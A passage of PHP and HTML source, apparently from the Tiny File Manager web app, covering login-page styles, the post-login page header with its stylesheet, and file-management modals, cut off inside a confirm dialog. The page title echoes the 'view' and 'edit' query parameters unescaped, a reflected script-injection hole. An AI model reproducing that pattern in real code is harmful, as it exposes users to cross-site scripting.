                background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");
            }

            .fm-login-page .brand {
                width: 121px;
                overflow: hidden;
                margin: 0 auto;
                position: relative;
                z-index: 1
            }

            .fm-login-page .brand img {
                width: 100%
            }

            .fm-login-page .card-wrapper {
                width: 360px;
            }

            .fm-login-page .card {
                border-color: transparent;
                box-shadow: 0 4px 8px rgba(0, 0, 0, .05)
            }

            .fm-login-page .card-title {
                margin-bottom: 1.5rem;
                font-size: 24px;
                font-weight: 400;
            }

            .fm-login-page .form-control {
                border-width: 2.3px
            }

            .fm-login-page .form-group label {
                width: 100%
            }

            .fm-login-page .btn.btn-block {
                padding: 12px 10px
            }

            .fm-login-page .footer {
                margin: 20px 0;
                color: #888;
                text-align: center
            }

            @media screen and (max-width:425px) {
                .fm-login-page .card-wrapper {
                    width: 90%;
                    margin: 0 auto;
                    margin-top: 10%;
                }
            }

            @media screen and (max-width:320px) {
                .fm-login-page .card.fat {
                    padding: 0
                }

                .fm-login-page .card.fat .card-body {
                    padding: 15px
                }
            }

            .message {
                padding: 4px 7px;
                border: 1px solid #ddd;
                background-color: #fff
            }

            .message.ok {
                border-color: green;
                color: green
            }

            .message.error {
                border-color: red;
                color: red
            }

            .message.alert {
                border-color: orange;
                color: orange
            }

            body.fm-login-page.theme-dark {
                background-color: #2f2a2a;
            }

            .theme-dark svg g,
            .theme-dark svg path {
                fill: #ffffff;
            }

            .theme-dark .form-control {
                color: #fff;
                background-color: #403e3e;
            }

            .h-100vh {
                min-height: 100vh;
            }
        </style>
    </head>

    <body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
        <div id="wrapper" class="container-fluid">

        <?php
    }

    /**
     * Show page footer in Login Form
     */
    function fm_show_footer_login()
    {
        ?>
        </div>
        <?php print_external('js-jquery'); ?>
        <?php print_external('js-bootstrap'); ?>
    </body>

    </html>

<?php
    }

    /**
     * Show Header after login
     */
    function fm_show_header()
    {
        header("Content-Type: text/html; charset=utf-8");
        header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
        header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
        header("Pragma: no-cache");

        global $sticky_navbar, $favicon_path;
        $isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
    <!DOCTYPE html>
    <html data-bs-theme="<?php echo FM_THEME; ?>">

    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
        <meta name="author" content="CCP Programmers">
        <meta name="robots" content="noindex, nofollow">
        <meta name="googlebot" content="noindex">
        <?php if ($favicon_path) {
            echo '<link rel="icon" href="' . fm_enc($favicon_path) . '" type="image/png">';
        } ?>
        <title><?php echo fm_enc(APP_TITLE) ?> | <?php echo (isset($_GET['view']) ? $_GET['view'] : ((isset($_GET['edit'])) ? $_GET['edit'] : "H3K")); ?></title>
        <?php print_external('pre-jsdelivr'); ?>
        <?php print_external('pre-cloudflare'); ?>
        <?php print_external('css-bootstrap'); ?>
        <?php print_external('css-font-awesome'); ?>
        <?php if (FM_USE_HIGHLIGHTJS && isset($_GET['view'])): ?>
            <?php print_external('css-highlightjs'); ?>
        <?php endif; ?>
        <script type="text/javascript">
            window.csrf = '<?php echo $_SESSION['token']; ?>';
        </script>
        <style>
            html {
                -moz-osx-font-smoothing: grayscale;
                -webkit-font-smoothing: antialiased;
                text-rendering: optimizeLegibility;
                height: 100%;
                scroll-behavior: smooth;
            }

            *,
            *::before,
            *::after {
                box-sizing: border-box;
            }

            body {
                font-size: 15px;
                color: #222;
                background: #F7F7F7;
            }

            body.navbar-fixed {
                margin-top: 55px;
            }

            a,
            a:hover,
            a:visited,
            a:focus {
                text-decoration: none !important;
            }

            .filename,
            td,
            th {
                white-space: nowrap
            }

            .navbar-brand {
                font-weight: bold;
            }

            .nav-item.avatar a {
                cursor: pointer;
                text-transform: capitalize;
            }

            .nav-item.avatar a>i {
                font-size: 15px;
            }

            .nav-item.avatar .dropdown-menu a {
                font-size: 13px;
            }

            #search-addon {
                font-size: 12px;
                border-right-width: 0;
            }

            .brl-0 {
                background: transparent;
                border-left: 0;
                border-top-left-radius: 0;
                border-bottom-left-radius: 0;
            }

            .brr-0 {
                border-top-right-radius: 0;
                border-bottom-right-radius: 0;
            }

            .bread-crumb {
                color: #cccccc;
                font-style: normal;
            }

            #main-table {
                transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1), width 0s .25s;
            }

            #main-table .filename a {
                color: #222222;
            }

            .table td,
            .table th {
                vertical-align: middle !important;
            }

            .table .custom-checkbox-td .custom-control.custom-checkbox,
            .table .custom-checkbox-header .custom-control.custom-checkbox {
                min-width: 18px;
                display: flex;
                align-items: center;
                justify-content: center;
            }

            .table-sm td,
            .table-sm th {
                padding: .4rem;
            }

            .table-bordered td,
            .table-bordered th {
                border: 1px solid #f1f1f1;
            }

            .hidden {
                display: none
            }

            pre.with-hljs {
                padding: 0;
                overflow: hidden;
            }

            pre.with-hljs code {
                margin: 0;
                border: 0;
                overflow: scroll;
            }

            code.maxheight,
            pre.maxheight {
                max-height: 512px
            }

            .fa.fa-caret-right {
                font-size: 1.2em;
                margin: 0 4px;
                vertical-align: middle;
                color: #ececec
            }

            .fa.fa-home {
                font-size: 1.3em;
                vertical-align: bottom
            }

            .path {
                margin-bottom: 10px
            }

            form.dropzone {
                min-height: 200px;
                border: 2px dashed #007bff;
                line-height: 6rem;
            }

            .right {
                text-align: right
            }

            .center,
            .close,
            .login-form,
            .preview-img-container {
                text-align: center
            }

            .message {
                padding: 4px 7px;
                border: 1px solid #ddd;
                background-color: #fff
            }

            .message.ok {
                border-color: green;
                color: green
            }

            .message.error {
                border-color: red;
                color: red
            }

            .message.alert {
                border-color: orange;
                color: orange
            }

            .preview-img {
                max-width: 100%;
                max-height: 80vh;
                background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);
                cursor: zoom-in
            }

            input#preview-img-zoomCheck[type=checkbox] {
                display: none
            }

            input#preview-img-zoomCheck[type=checkbox]:checked~label>img {
                max-width: none;
                max-height: none;
                cursor: zoom-out
            }

            .inline-actions>a>i {
                font-size: 1em;
                margin-left: 5px;
                background: #3785c1;
                color: #fff;
                padding: 3px 4px;
                border-radius: 3px;
            }

            .preview-video {
                position: relative;
                max-width: 100%;
                height: 0;
                padding-bottom: 62.5%;
                margin-bottom: 10px
            }

            .preview-video video {
                position: absolute;
                width: 100%;
                height: 100%;
                left: 0;
                top: 0;
                background: #000
            }

            .compact-table {
                border: 0;
                width: auto
            }

            .compact-table td,
            .compact-table th {
                width: 100px;
                border: 0;
                text-align: center
            }

            .compact-table tr:hover td {
                background-color: #fff
            }

            .filename {
                max-width: 420px;
                overflow: hidden;
                text-overflow: ellipsis
            }

            .break-word {
                word-wrap: break-word;
                margin-left: 30px
            }

            .break-word.float-left a {
                color: #7d7d7d
            }

            .break-word+.float-right {
                padding-right: 30px;
                position: relative
            }

            .break-word+.float-right>a {
                color: #7d7d7d;
                font-size: 1.2em;
                margin-right: 4px
            }

            #editor {
                position: absolute;
                right: 15px;
                top: 100px;
                bottom: 15px;
                left: 15px
            }

            @media (max-width:481px) {
                #editor {
                    top: 150px;
                }
            }

            #normal-editor {
                border-radius: 3px;
                border-width: 2px;
                padding: 10px;
                outline: none;
            }

            .btn-2 {
                padding: 4px 10px;
                font-size: small;
            }

            li.file:before,
            li.folder:before {
                font: normal normal normal 14px/1 FontAwesome;
                content: "\f016";
                margin-right: 5px
            }

            li.folder:before {
                content: "\f114"
            }

            i.fa.fa-folder-o {
                color: #0157b3
            }

            i.fa.fa-picture-o {
                color: #26b99a
            }

            i.fa.fa-file-archive-o {
                color: #da7d7d
            }

            .btn-2 i.fa.fa-file-archive-o {
                color: inherit
            }

            i.fa.fa-css3 {
                color: #f36fa0
            }

            i.fa.fa-file-code-o {
                color: #007bff
            }

            i.fa.fa-code {
                color: #cc4b4c
            }

            i.fa.fa-file-text-o {
                color: #0096e6
            }

            i.fa.fa-html5 {
                color: #d75e72
            }

            i.fa.fa-file-excel-o {
                color: #09c55d
            }

            i.fa.fa-file-powerpoint-o {
                color: #f6712e
            }

            i.go-back {
                font-size: 1.2em;
                color: #007bff;
            }

            .main-nav {
                padding: 0.2rem 1rem;
                box-shadow: 0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)
            }

            .dataTables_filter {
                display: none;
            }

            table.dataTable thead .sorting {
                cursor: pointer;
                background-repeat: no-repeat;
                background-position: center right;
                background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC');
            }

            table.dataTable thead .sorting_asc {
                cursor: pointer;
                background-repeat: no-repeat;
                background-position: center right;
                background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg==');
            }

            table.dataTable thead .sorting_desc {
                cursor: pointer;
                background-repeat: no-repeat;
                background-position: center right;
                background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII=');
            }

            table.dataTable thead tr:first-child th.custom-checkbox-header:first-child {
                background-image: none;
            }

            .footer-action li {
                margin-bottom: 10px;
            }

            .app-v-title {
                font-size: 24px;
                font-weight: 300;
                letter-spacing: -.5px;
                text-transform: uppercase;
            }

            hr.custom-hr {
                border-top: 1px dashed #8c8b8b;
                border-bottom: 1px dashed #fff;
            }

            #snackbar {
                visibility: hidden;
                min-width: 250px;
                margin-left: -125px;
                background-color: #333;
                color: #fff;
                text-align: center;
                border-radius: 2px;
                padding: 16px;
                position: fixed;
                z-index: 1;
                left: 50%;
                bottom: 30px;
                font-size: 17px;
            }

            #snackbar.show {
                visibility: visible;
                -webkit-animation: fadein 0.5s, fadeout 0.5s 2.5s;
                animation: fadein 0.5s, fadeout 0.5s 2.5s;
            }

            @-webkit-keyframes fadein {
                from {
                    bottom: 0;
                    opacity: 0;
                }

                to {
                    bottom: 30px;
                    opacity: 1;
                }
            }

            @keyframes fadein {
                from {
                    bottom: 0;
                    opacity: 0;
                }

                to {
                    bottom: 30px;
                    opacity: 1;
                }
            }

            @-webkit-keyframes fadeout {
                from {
                    bottom: 30px;
                    opacity: 1;
                }

                to {
                    bottom: 0;
                    opacity: 0;
                }
            }

            @keyframes fadeout {
                from {
                    bottom: 30px;
                    opacity: 1;
                }

                to {
                    bottom: 0;
                    opacity: 0;
                }
            }

            #main-table span.badge {
                border-bottom: 2px solid #f8f9fa
            }

            #main-table span.badge:nth-child(1) {
                border-color: #df4227
            }

            #main-table span.badge:nth-child(2) {
                border-color: #f8b600
            }

            #main-table span.badge:nth-child(3) {
                border-color: #00bd60
            }

            #main-table span.badge:nth-child(4) {
                border-color: #4581ff
            }

            #main-table span.badge:nth-child(5) {
                border-color: #ac68fc
            }

            #main-table span.badge:nth-child(6) {
                border-color: #45c3d2
            }

            @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) {
                .navbar-collapse .col-xs-6 {
                    padding: 0;
                }
            }

            .btn.active.focus,
            .btn.active:focus,
            .btn.focus,
            .btn.focus:active,
            .btn:active:focus,
            .btn:focus {
                outline: 0 !important;
                outline-offset: 0 !important;
                background-image: none !important;
                -webkit-box-shadow: none !important;
                box-shadow: none !important
            }

            .lds-facebook {
                display: none;
                position: relative;
                width: 64px;
                height: 64px
            }

            .lds-facebook div,
            .lds-facebook.show-me {
                display: inline-block
            }

            .lds-facebook div {
                position: absolute;
                left: 6px;
                width: 13px;
                background: #007bff;
                animation: lds-facebook 1.2s cubic-bezier(0, .5, .5, 1) infinite
            }

            .lds-facebook div:nth-child(1) {
                left: 6px;
                animation-delay: -.24s
            }

            .lds-facebook div:nth-child(2) {
                left: 26px;
                animation-delay: -.12s
            }

            .lds-facebook div:nth-child(3) {
                left: 45px;
                animation-delay: 0s
            }

            @keyframes lds-facebook {
                0% {
                    top: 6px;
                    height: 51px
                }

                100%,
                50% {
                    top: 19px;
                    height: 26px
                }
            }

            ul#search-wrapper {
                padding-left: 0;
                border: 1px solid #ecececcc;
            }

            ul#search-wrapper li {
                list-style: none;
                padding: 5px;
                border-bottom: 1px solid #ecececcc;
            }

            ul#search-wrapper li:nth-child(odd) {
                background: #f9f9f9cc;
            }

            .c-preview-img {
                max-width: 300px;
            }

            .border-radius-0 {
                border-radius: 0;
            }

            .float-right {
                float: right;
            }

            .table-hover>tbody>tr:hover>td:first-child {
                border-left: 1px solid #1b77fd;
            }

            #main-table tr.even {
                background-color: #F8F9Fa;
            }

            .filename>a>i {
                margin-right: 3px;
            }

            .fs-7 {
                font-size: 14px;
            }
        </style>
        <?php
        if (FM_THEME == "dark"): ?>
            <style>
                :root {
                    --bs-bg-opacity: 1;
                    --bg-color: #f3daa6;
                    --bs-dark-rgb: 28, 36, 41 !important;
                    --bs-bg-opacity: 1;
                }

                body.theme-dark {
                    background-image: linear-gradient(90deg, #1c2429, #263238);
                    color: #CFD8DC;
                }

                .list-group .list-group-item {
                    background: #343a40;
                }

                .theme-dark .navbar-nav i,
                .navbar-nav .dropdown-toggle,
                .break-word {
                    color: #CFD8DC;
                }

                a,
                a:hover,
                a:visited,
                a:active,
                #main-table .filename a,
                i.fa.fa-folder-o,
                i.go-back {
                    color: var(--bg-color);
                }

                ul#search-wrapper li:nth-child(odd) {
                    background: #212a2f;
                }

                .theme-dark .btn-outline-primary {
                    color: #b8e59c;
                    border-color: #b8e59c;
                }

                .theme-dark .btn-outline-primary:hover,
                .theme-dark .btn-outline-primary:active {
                    background-color: #2d4121;
                }

                .theme-dark input.form-control {
                    background-color: #101518;
                    color: #CFD8DC;
                }

                .theme-dark .dropzone {
                    background: transparent;
                }

                .theme-dark .inline-actions>a>i {
                    background: #79755e;
                }

                .theme-dark .text-white {
                    color: #CFD8DC !important;
                }

                .theme-dark .table-bordered td,
                .table-bordered th {
                    border-color: #343434;
                }

                .theme-dark .table-bordered td .custom-control-input,
                .theme-dark .table-bordered th .custom-control-input {
                    opacity: 0.678;
                }

                .message {
                    background-color: #212529;
                }

                form.dropzone {
                    border-color: #79755e;
                }
            </style>
        <?php endif; ?>
    </head>

    <body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
        <div id="wrapper" class="container-fluid">
            <!-- New Item creation -->
            <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true" data-bs-theme="<?php echo FM_THEME; ?>">
                <div class="modal-dialog" role="document">
                    <form class="modal-content" method="post">
                        <div class="modal-header">
                            <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                        </div>
                        <div class="modal-body">
                            <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
                            <div class="form-check form-check-inline">
                                <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
                                <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                            </div>
                            <div class="form-check form-check-inline">
                                <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
                                <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                            </div>

                            <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                            <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
                        </div>
                        <div class="modal-footer">
                            <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                            <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                            <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                        </div>
                    </form>
                </div>
            </div>

            <!-- Advance Search Modal -->
            <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true" data-bs-theme="<?php echo FM_THEME; ?>">
                <div class="modal-dialog modal-lg" role="document">
                    <div class="modal-content">
                        <div class="modal-header">
                            <h5 class="modal-title col-10" id="searchModalLabel">
                                <div class="input-group mb-3">
                                    <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                                    <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                                </div>
                            </h5>
                            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                        </div>
                        <div class="modal-body">
                            <form action="" method="post">
                                <div class="lds-facebook">
                                    <div></div>
                                    <div></div>
                                    <div></div>
                                </div>
                                <ul id="search-wrapper">
                                    <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
                                </ul>
                            </form>
                        </div>
                    </div>
                </div>
            </div>

            <!--Rename Modal -->
            <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog" data-bs-theme="<?php echo FM_THEME; ?>">
                <div class="modal-dialog" role="document">
                    <form class="modal-content rounded-3 shadow" method="post" autocomplete="off">
                        <div class="modal-body p-4 text-center">
                            <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
                            <p class="mb-1">
                                <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
                                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                                <input type="hidden" name="rename_from" id="js-rename-from">
                            </p>
                        </div>
                        <div class="modal-footer flex-nowrap p-0">
                            <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                            <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
                        </div>
                    </form>
                </div>
            </div>

            <!-- Confirm Modal -->
            <script type="text/html" id="js-tpl-confirm">
                <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>" data-bs-theme="<?php echo FM_THEME; ?>">
                    <div class="modal-dialog" role="document">
                        <form class="modal-content rounded-3 shadow" method="post" autocomplete="off" action="<%this.action%>">
                            <div class="modal-body p-4 text-center">
                                <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
                                <p class="mb-1"><%this.content%></p>
                            </div>
                            <div class="modal-footer flex-nowrap p-0">
                                <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
